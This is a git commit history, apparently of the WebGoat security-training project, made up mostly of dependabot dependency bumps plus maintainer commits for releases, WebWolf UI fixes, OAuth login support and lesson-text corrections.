2024-06-18 08:20:27 +02:00
dependabot[bot]
47df923c8c
chore: bump org.apache.maven.plugins:maven-enforcer-plugin (#1823)
Bumps [org.apache.maven.plugins:maven-enforcer-plugin](https://github.com/apache/maven-enforcer) from 3.3.0 to 3.5.0.
- [Release notes](https://github.com/apache/maven-enforcer/releases)
- [Commits](https://github.com/apache/maven-enforcer/compare/enforcer-3.3.0...enforcer-3.5.0)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-enforcer-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-16 08:20:29 +02:00
dependabot[bot]
5dbc642264
chore: bump com.nulab-inc:zxcvbn from 1.8.0 to 1.9.0 (#1822)
Bumps [com.nulab-inc:zxcvbn](https://github.com/nulab/zxcvbn4j) from 1.8.0 to 1.9.0.
- [Release notes](https://github.com/nulab/zxcvbn4j/releases)
- [Changelog](https://github.com/nulab/zxcvbn4j/blob/main/CHANGELOG.md)
- [Commits](https://github.com/nulab/zxcvbn4j/compare/1.8.0...1.9.0)

---
updated-dependencies:
- dependency-name: com.nulab-inc:zxcvbn
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-16 08:14:48 +02:00
dependabot[bot]
96bc6fa608
chore: bump org.apache.maven.plugins:maven-checkstyle-plugin (#1821)
Bumps [org.apache.maven.plugins:maven-checkstyle-plugin](https://github.com/apache/maven-checkstyle-plugin) from 3.3.1 to 3.4.0.
- [Commits](https://github.com/apache/maven-checkstyle-plugin/compare/maven-checkstyle-plugin-3.3.1...maven-checkstyle-plugin-3.4.0)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-checkstyle-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-16 08:09:49 +02:00
dependabot[bot]
1d5a2bb6a2
chore: bump org.eclipse.jetty.ee10:jetty-ee10-bom from 12.0.3 to 12.0.10 (#1820)
Bumps [org.eclipse.jetty.ee10:jetty-ee10-bom](https://github.com/jetty/jetty.project) from 12.0.3 to 12.0.10.
- [Release notes](https://github.com/jetty/jetty.project/releases)
- [Commits](https://github.com/jetty/jetty.project/compare/jetty-12.0.3...jetty-12.0.10)

---
updated-dependencies:
- dependency-name: org.eclipse.jetty.ee10:jetty-ee10-bom
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-16 07:55:02 +02:00
dependabot[bot]
8b37bd58d7
chore: bump commons-io:commons-io from 2.15.1 to 2.16.1 (#1819)
Bumps commons-io:commons-io from 2.15.1 to 2.16.1.

---
updated-dependencies:
- dependency-name: commons-io:commons-io
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-14 17:41:45 +02:00
dependabot[bot]
6545e2a066
chore: bump com.github.tomakehurst:wiremock (#1810)
Bumps [com.github.tomakehurst:wiremock](https://github.com/wiremock/wiremock) from 3.0.0-beta-2 to 3.0.0-beta-10.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.0.0-beta-2...3.0.0-beta-10)

---
updated-dependencies:
- dependency-name: com.github.tomakehurst:wiremock
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-08 21:15:53 +02:00
dependabot[bot]
9573b30667
chore: bump org.asciidoctor:asciidoctorj from 2.5.10 to 2.5.13 (#1811)
Bumps [org.asciidoctor:asciidoctorj](https://github.com/asciidoctor/asciidoctorj) from 2.5.10 to 2.5.13.
- [Release notes](https://github.com/asciidoctor/asciidoctorj/releases)
- [Changelog](https://github.com/asciidoctor/asciidoctorj/blob/v2.5.13/CHANGELOG.adoc)
- [Commits](https://github.com/asciidoctor/asciidoctorj/compare/v2.5.10...v2.5.13)

---
updated-dependencies:
- dependency-name: org.asciidoctor:asciidoctorj
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-08 21:09:45 +02:00
dependabot[bot]
30e40f2e59
chore: bump org.jruby:jruby from 9.4.3.0 to 9.4.7.0 (#1813)
Bumps org.jruby:jruby from 9.4.3.0 to 9.4.7.0.

---
updated-dependencies:
- dependency-name: org.jruby:jruby
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-08 08:23:28 +02:00
dependabot[bot]
8f11fb6729
chore: bump docker/login-action from 3.0.0 to 3.2.0 (#1815)
Bumps [docker/login-action](https://github.com/docker/login-action) from 3.0.0 to 3.2.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v3.0.0...v3.2.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-08 08:17:41 +02:00
dependabot[bot]
10e36c203f
chore: bump com.google.guava:guava from 32.1.3-jre to 33.2.1-jre (#1814)
Bumps [com.google.guava:guava](https://github.com/google/guava) from 32.1.3-jre to 33.2.1-jre.
- [Release notes](https://github.com/google/guava/releases)
- [Commits](https://github.com/google/guava/commits)

---
updated-dependencies:
- dependency-name: com.google.guava:guava
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-08 08:13:01 +02:00
dependabot[bot]
edcce09b5f
chore: bump docker/build-push-action from 5.1.0 to 5.3.0 (#1816)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 5.1.0 to 5.3.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v5.1.0...v5.3.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-08 08:08:14 +02:00
François Capon
3134f18066
fix: Success if only Smith earn most salary (#1744)
* Update labels

* Update Java

* Update Test

---------

Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-01 10:50:38 +02:00
Vandeputte Brice
e219887f14
docs: Update HttpBasics_plan.adoc - fix broken link to https://www.zaproxy.org/ (#1803)
fix broken link OWASP ZAP -  https://www.zaproxy.org/

Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-01 10:45:12 +02:00
René Zubcevic
508703ffce
update dependencies and version (#1807)
* update dependencies and version
* debug macos build issue
* update and fix Dockerfile(s)
2024-05-31 19:39:03 +02:00
Nanne Baars
e308d7cde7
chore: upgrade checkout out to v4 (#1781) 2024-03-25 22:27:56 +01:00
Nanne Baars
4ab820e1d1
feat: move CSRF to A3 (#1776)
CSRF is part of security misconfiguration in the OWASP Top 10.
2024-03-21 20:50:37 +01:00
Jason White
1a6a7e0be1
reverting my goofs after launching from wrong browser tab (#1774) 2024-03-19 18:01:30 +01:00
Jason White
2e9140ab64
Merge pull request #1773 from misfir3/test-semgrep-on-merge
Test semgrep on merge
2024-03-18 13:21:21 -06:00
Jason White
b79c83a52e
linty 2024-03-18 19:19:12 +00:00
Jason White
297c6f49b5
Merge branch 'main' into test-semgrep-on-merge 2024-03-18 13:14:39 -06:00
Jason White
d2049a8fcc
updating for testing 2024-03-18 19:13:50 +00:00
Jason White
24db39eae2
test semgrep 2024-03-18 19:12:13 +00:00
Jason White
98443184e9
Merge pull request #1 from WebGoat/develop
updating from main branch to test semgrep
2024-03-18 13:05:23 -06:00
Nanne Baars
62931a1836
feature: enable CORS configuration (#1771) 2024-03-17 10:55:27 +01:00
cap-dev0x
c18430752a build(Dockerfile): replace deprecated MAINTAINER tag with label of the same
Current syntax now used to denote the "WebGoat team" as maintainer

Link: https://docs.docker.com/reference/dockerfile/#label

Signed-off-by: cap-dev0x <158111888+cap-dev0x@users.noreply.github.com>
2024-02-25 23:20:23 +01:00
François Capon
57d5b313b9 Fix typo in SQLi blind case 2024-02-10 16:02:35 +01:00
cap-dev0x
dd0f135088
fix(quiz): use $ instead of jQuery which is undefined (#1736)
Fixes: #1703

Signed-off-by: cap-dev0x <158111888+cap-dev0x@users.noreply.github.com>
2024-02-05 14:30:01 +01:00
dependabot[bot]
ad0286d5ba
chore: bump actions/cache from 3.3.1 to 4.0.0 (#1729)
Bumps [actions/cache](https://github.com/actions/cache) from 3.3.1 to 4.0.0.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.3.1...v4.0.0)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-01-29 11:03:15 +01:00
dependabot[bot]
b67eb44142
chore: bump io.github.bonigarcia:webdrivermanager from 5.3.3 to 5.6.3 (#1716)
Bumps [io.github.bonigarcia:webdrivermanager](https://github.com/bonigarcia/webdrivermanager) from 5.3.3 to 5.6.3.
- [Release notes](https://github.com/bonigarcia/webdrivermanager/releases)
- [Changelog](https://github.com/bonigarcia/webdrivermanager/blob/master/CHANGELOG.md)
- [Commits](https://github.com/bonigarcia/webdrivermanager/compare/webdrivermanager-5.3.3...webdrivermanager-5.6.3)

---
updated-dependencies:
- dependency-name: io.github.bonigarcia:webdrivermanager
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-01-09 15:10:16 +01:00
dependabot[bot]
7e75e9b8fc
chore: bump org.apache.commons:commons-exec from 1.3 to 1.4.0 (#1721)
Bumps org.apache.commons:commons-exec from 1.3 to 1.4.0.

---
updated-dependencies:
- dependency-name: org.apache.commons:commons-exec
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-01-09 14:59:40 +01:00
dependabot[bot]
40c679ec5a
chore: bump org.jsoup:jsoup from 1.16.1 to 1.17.2 (#1717)
Bumps [org.jsoup:jsoup](https://github.com/jhy/jsoup) from 1.16.1 to 1.17.2.
- [Release notes](https://github.com/jhy/jsoup/releases)
- [Changelog](https://github.com/jhy/jsoup/blob/master/CHANGES.md)
- [Commits](https://github.com/jhy/jsoup/compare/jsoup-1.16.1...jsoup-1.17.2)

---
updated-dependencies:
- dependency-name: org.jsoup:jsoup
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-01-09 14:51:32 +01:00
Peter Potrowl
4ebb869f5d
Fix hidden links in MissingFunctionAC.html. (#1710) 2023-12-29 15:01:35 +01:00
Peter Potrowl
6bb7a182dc Fix typos in texts. 2023-12-14 23:00:59 +01:00
Peter Potrowl
cb2c99d38d Improve texts to avoid confusion. 2023-12-14 22:54:20 +01:00
dependabot[bot]
84029345b4
chore: bump actions/setup-java from 3 to 4 (#1698)
Bumps [actions/setup-java](https://github.com/actions/setup-java) from 3 to 4.
- [Release notes](https://github.com/actions/setup-java/releases)
- [Commits](https://github.com/actions/setup-java/compare/v3...v4)

---
updated-dependencies:
- dependency-name: actions/setup-java
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-12-06 20:17:13 +01:00
dependabot[bot]
a0ca199cdc chore: bump actions/setup-python from 4 to 5
Bumps [actions/setup-python](https://github.com/actions/setup-python) from 4 to 5.
- [Release notes](https://github.com/actions/setup-python/releases)
- [Commits](https://github.com/actions/setup-python/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/setup-python
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-12-06 19:39:28 +01:00
Nanne Baars
2058298e2d chore: move to SNAPSHOT 2023-12-06 17:35:12 +01:00
Nanne Baars
17acef57b4 chore: add pre-commit hooks
chore: add pre-commit hooks

chore: add pre-commit hooks

chore: add pre-commit hooks

chore: add pre-commit hooks
2023-12-06 17:16:24 +01:00
Nanne Baars
d913967ec5 refactor: remove usage of RequestMapping 2023-12-06 17:16:24 +01:00
Nanne Baars
87edc7d1db refactor: use AssertJ for testing
Majority of our test cases use AssertJ
2023-12-06 17:16:24 +01:00
Nanne Baars
ac7a9c7863 chore: update GitHub action name 2023-12-05 14:22:19 +01:00
dependabot[bot]
2803ef45e4
chore: bump org.webjars:bootstrap from 5.3.1 to 5.3.2 (#1693)
Bumps [org.webjars:bootstrap](https://github.com/webjars/bootstrap) from 5.3.1 to 5.3.2.
- [Commits](https://github.com/webjars/bootstrap/compare/bootstrap-5.3.1...bootstrap-5.3.2)

---
updated-dependencies:
- dependency-name: org.webjars:bootstrap
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-12-05 14:04:09 +01:00
Nanne Baars
5357a65e05 chore: release 2023.8 2023-12-05 11:21:15 +01:00
Nanne Baars
d343c60781 chore: do not spend time on building the Docker image
We can test this ourselves there is no need to run this on every PR towards the repository.
2023-12-05 11:15:53 +01:00
Nanne Baars
98acc1f55a fix: get the right Github token 2023-12-05 11:15:06 +01:00
Nanne Baars
f99888e61b fix: typo in the step of the name 2023-12-05 11:14:51 +01:00
Nanne Baars
29dda49190 chore: WebWolf bootstrap can now be updated 2023-12-05 11:14:27 +01:00
Nanne Baars
369be6f688 fix: disable extra build file 2023-12-05 11:14:08 +01:00
Nanne Baars
d5f869c006 chore: release version 2023.7 2023-12-04 23:10:52 +01:00
Nanne Baars
a9caaabb47 fix: wrong Docker image 2023-12-04 23:09:51 +01:00
Nanne Baars
fb2ff01775 chore: release 2023.6 2023-12-04 22:56:58 +01:00
dependabot[bot]
89ecf1d2ad
chore: bump actions/first-interaction from 1.2.0 to 1.3.0 (#1691)
Bumps [actions/first-interaction](https://github.com/actions/first-interaction) from 1.2.0 to 1.3.0.
- [Release notes](https://github.com/actions/first-interaction/releases)
- [Commits](https://github.com/actions/first-interaction/compare/v1.2.0...v1.3.0)

---
updated-dependencies:
- dependency-name: actions/first-interaction
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-12-04 22:45:16 +01:00
dependabot[bot]
1b66a742da
chore: bump actions/setup-java from 3 to 4 (#1690)
Bumps [actions/setup-java](https://github.com/actions/setup-java) from 3 to 4.
- [Release notes](https://github.com/actions/setup-java/releases)
- [Commits](https://github.com/actions/setup-java/compare/v3...v4)

---
updated-dependencies:
- dependency-name: actions/setup-java
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-12-04 22:40:54 +01:00
dependabot[bot]
a831da5886
chore: bump commons-io:commons-io from 2.14.0 to 2.15.1 (#1689)
Bumps commons-io:commons-io from 2.14.0 to 2.15.1.

---
updated-dependencies:
- dependency-name: commons-io:commons-io
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-12-04 22:33:27 +01:00
dependabot[bot]
fd5189c102
chore: bump com.diffplug.spotless:spotless-maven-plugin (#1688)
Bumps [com.diffplug.spotless:spotless-maven-plugin](https://github.com/diffplug/spotless) from 2.38.0 to 2.41.1.
- [Changelog](https://github.com/diffplug/spotless/blob/main/CHANGES.md)
- [Commits](https://github.com/diffplug/spotless/compare/lib/2.38.0...maven/2.41.1)

---
updated-dependencies:
- dependency-name: com.diffplug.spotless:spotless-maven-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-12-04 22:24:53 +01:00
Nanne Baars
ae261f201a feat: show directly requested file in requests overview
When a call directly hits a file it is now show up in the requests overview. This helps the user whether an attack from WebGoat actually requested the uploaded file.

Closes: gh-1551
2023-12-04 21:34:16 +01:00
Nanne Baars
3d651526be feat: show creating time in file upload overview
Closes: gh-1551
2023-12-04 21:32:02 +01:00
Nanne Baars
c7c2a61f65
chore: fix startup message (#1687)
Since we use two application context, the event listener would print out the last one with the WebWolf context. As WebWolf is part of WebGoat we should not refer to it anymore during startup as users should always go to WebGoat first.
2023-12-04 07:59:29 +01:00
Nanne Baars
b7f657ad2c
chore: fix WebWolf UI (#1686)
Fix-ups after the Bootstrap 5 upgrade for WebWolf.
2023-12-02 12:59:56 +01:00
René Zubcevic
7fea42afe9
Fix/state of software supply chain links (#1683)
* fix:update state of software supply chain links

* fix:fix second link

* fix:links formatting

---------

Co-authored-by: maurycupitt <maury@cupitt.com>
2023-11-27 15:33:14 +01:00
René Zubcevic
826887cc83
Consistent environment values and url references (#1677)
* organizing environment variables

* Update application-webgoat.properties

* Update pom.xml

* test without ssl

* fix docker base image and default env entries

* seperate server.address from webgoat.host and webwolf.host

* change base image and enable endpoint logging for docker as well

* change README

* change README

* make integration test able to verify against alternative host names

* use dynamic ports and remove system println
2023-11-27 14:35:49 +01:00
Nanne Baars
62db86246e chore: back to snapshot 2023-11-23 22:34:34 +01:00
Nanne Baars
f7a9995fe0 chore: create release v2023.5 2023-11-23 16:05:13 +01:00
dependabot[bot]
d6c4e8e454
chore: bump docker/build-push-action from 4.1.1 to 5.1.0 (#1670)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 4.1.1 to 5.1.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v4.1.1...v5.1.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-11-20 15:11:59 +01:00
dependabot[bot]
26628a39e1
chore: bump org.apache.commons:commons-compress from 1.23.0 to 1.25.0 (#1672)
Bumps org.apache.commons:commons-compress from 1.23.0 to 1.25.0.

---
updated-dependencies:
- dependency-name: org.apache.commons:commons-compress
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-11-20 15:05:36 +01:00
dependabot[bot]
2d26a318d1
chore: bump org.owasp:dependency-check-maven from 6.5.1 to 8.4.3 (#1671)
Bumps [org.owasp:dependency-check-maven](https://github.com/jeremylong/DependencyCheck) from 6.5.1 to 8.4.3.
- [Release notes](https://github.com/jeremylong/DependencyCheck/releases)
- [Changelog](https://github.com/jeremylong/DependencyCheck/blob/main/CHANGELOG.md)
- [Commits](https://github.com/jeremylong/DependencyCheck/compare/v6.5.1...v8.4.3)

---
updated-dependencies:
- dependency-name: org.owasp:dependency-check-maven
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-11-20 14:55:37 +01:00
Agustín Díaz
dc16e9a0fb
fix: typo in WebGoad.txt (#1667)
Signed-off-by: Agustín Díaz <agustin.ramiro.diaz@gmail.com>
2023-11-17 18:59:02 +01:00
René Zubcevic
88a321c268
search box moved and jwt encode/decode with little delay (#1664) 2023-11-16 14:42:10 +01:00
René Zubcevic
8450c5a5be
skip validation for JWT (#1663)
* skip validation for JWT

* skip validation for JWT

* skip validation for JWT
2023-11-15 18:30:14 +01:00
René Zubcevic
ba75e10efd
fixed issue in JWT test tool and added robot test (#1658) 2023-11-14 18:14:48 +01:00
René Zubcevic
d1e44bbc98
Password reset link test condition more strict and move all WebWolf links to /WebWolf (#1645)
* better check on host and port for password reset and make context roots more flexible

* spotless applied

* removed hardcoded /WebGoat from js

* removed hardcoded /WebGoat from js

* fix spotless

* fix scoreboard

* upgrade WebWolf bootstrap version and icons and templates - part 1

* fixed more bootstrap 5 style issues and context path issues

* organized WebSecurityConfig based on latest conventions and added basic support for oauth (more work needed)

* spotless applied

* added mock bean

* requires updates to properties - commented for now

* requires updates to properties - commented for now

* oauth secrets through env values

* user creation after oauth login

* integration test against non default context paths

* adjusted StartupMessage

* add global model element username

* conditionally show login oauth links

* fixed WebWolf login

---------

Co-authored-by: René Zubcevic <rene@Mac-mini-van-Rene.local>
2023-11-14 10:01:59 +01:00
dependabot[bot]
5a4974f3c2
chore: bump org.apache.maven.plugins:maven-checkstyle-plugin (#1640)
Bumps [org.apache.maven.plugins:maven-checkstyle-plugin](https://github.com/apache/maven-checkstyle-plugin) from 3.3.0 to 3.3.1.
- [Commits](https://github.com/apache/maven-checkstyle-plugin/compare/maven-checkstyle-plugin-3.3.0...maven-checkstyle-plugin-3.3.1)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-checkstyle-plugin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-11-02 08:13:39 +01:00
dependabot[bot]
4fc1d1fb22
chore: bump org.apache.maven.plugins:maven-surefire-plugin (#1641)
Bumps [org.apache.maven.plugins:maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.1.2 to 3.2.1.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.1.2...surefire-3.2.1)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-11-02 07:26:26 +01:00
René Zubcevic
084a105c69
Java 21 initial support (#1622)
* check java 17 and 21 in build

* build on regular branch push

* build on regular branch push

* build on regular branch push

* update spring boot for Java21 support
2023-10-23 20:21:00 +02:00
dependabot[bot]
7485cb8b9a
chore: bump org.webjars:bootstrap from 3.3.7 to 5.3.2 (#1624)
* chore: bump org.webjars:bootstrap from 3.3.7 to 5.3.2

Bumps [org.webjars:bootstrap](https://github.com/webjars/bootstrap) from 3.3.7 to 5.3.2.
- [Commits](https://github.com/webjars/bootstrap/compare/bootstrap-3.3.7...bootstrap-5.3.2)

---
updated-dependencies:
- dependency-name: org.webjars:bootstrap
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

* small update and ignore major updates

* small update and ignore major updates

---------

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-10-23 20:09:48 +02:00
dependabot[bot]
c312ae989f
chore: bump docker/setup-buildx-action from 2 to 3 (#1628)
Bumps [docker/setup-buildx-action](https://github.com/docker/setup-buildx-action) from 2 to 3.
- [Release notes](https://github.com/docker/setup-buildx-action/releases)
- [Commits](https://github.com/docker/setup-buildx-action/compare/v2...v3)

---
updated-dependencies:
- dependency-name: docker/setup-buildx-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-10-23 17:12:25 +02:00
dependabot[bot]
5fde7fbf29
chore: bump docker/login-action from 2.2.0 to 3.0.0 (#1630)
Bumps [docker/login-action](https://github.com/docker/login-action) from 2.2.0 to 3.0.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v2.2.0...v3.0.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-10-23 17:03:54 +02:00
dependabot[bot]
a32c56bfc7
chore: bump actions/first-interaction from 1.1.1 to 1.2.0 (#1629)
Bumps [actions/first-interaction](https://github.com/actions/first-interaction) from 1.1.1 to 1.2.0.
- [Release notes](https://github.com/actions/first-interaction/releases)
- [Commits](https://github.com/actions/first-interaction/compare/v1.1.1...v1.2.0)

---
updated-dependencies:
- dependency-name: actions/first-interaction
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-10-23 16:57:16 +02:00
dependabot[bot]
6fd3eb57eb
chore: bump com.google.guava:guava from 32.1.1-jre to 32.1.3-jre (#1627)
Bumps [com.google.guava:guava](https://github.com/google/guava) from 32.1.1-jre to 32.1.3-jre.
- [Release notes](https://github.com/google/guava/releases)
- [Commits](https://github.com/google/guava/commits)

---
updated-dependencies:
- dependency-name: com.google.guava:guava
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-10-23 16:49:02 +02:00
dependabot[bot]
1743d017ff
chore: bump commons-io:commons-io from 2.13.0 to 2.14.0 (#1626)
Bumps commons-io:commons-io from 2.13.0 to 2.14.0.

---
updated-dependencies:
- dependency-name: commons-io:commons-io
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-10-23 16:25:45 +02:00
dependabot[bot]
2b2638943b
chore: bump org.jacoco:jacoco-maven-plugin from 0.8.10 to 0.8.11 (#1625)
Bumps [org.jacoco:jacoco-maven-plugin](https://github.com/jacoco/jacoco) from 0.8.10 to 0.8.11.
- [Release notes](https://github.com/jacoco/jacoco/releases)
- [Commits](https://github.com/jacoco/jacoco/compare/v0.8.10...v0.8.11)

---
updated-dependencies:
- dependency-name: org.jacoco:jacoco-maven-plugin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-10-23 16:18:27 +02:00
François Capon
45c26d8aaf
Fix servers id (#1619) 2023-10-22 15:25:52 +02:00
Àngel Ollé Blázquez
be30551850 fix: potential NPE in the stored XSS assignment 2023-08-27 14:31:35 +02:00
Àngel Ollé Blázquez
49862f6b90 fix: fixes the default change in trailing slash matching and address the affected assignments 2023-08-27 14:14:27 +02:00
Àngel Ollé Blázquez
4009785bb8 fix: crypto basics broken links 2023-08-27 13:16:08 +02:00
Àngel Ollé Blázquez
d8341c86a1 bug: fix hint that was breaking the template, causing hints from different assignments to mix (#1424) 2023-08-27 02:08:52 +02:00
Àngel Ollé Blázquez
055578893d feat: improve MFAC lesson hint texts for a better user experience (#1424) 2023-08-27 02:08:52 +02:00
dependabot[bot]
b89ebd70ad chore: bump webdrivermanager from 5.3.2 to 5.3.3
Bumps [webdrivermanager](https://github.com/bonigarcia/webdrivermanager) from 5.3.2 to 5.3.3.
- [Release notes](https://github.com/bonigarcia/webdrivermanager/releases)
- [Changelog](https://github.com/bonigarcia/webdrivermanager/blob/master/CHANGELOG.md)
- [Commits](https://github.com/bonigarcia/webdrivermanager/compare/webdrivermanager-5.3.2...webdrivermanager-5.3.3)

---
updated-dependencies:
- dependency-name: io.github.bonigarcia:webdrivermanager
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-08-27 00:34:41 +02:00
Àngel Ollé Blázquez
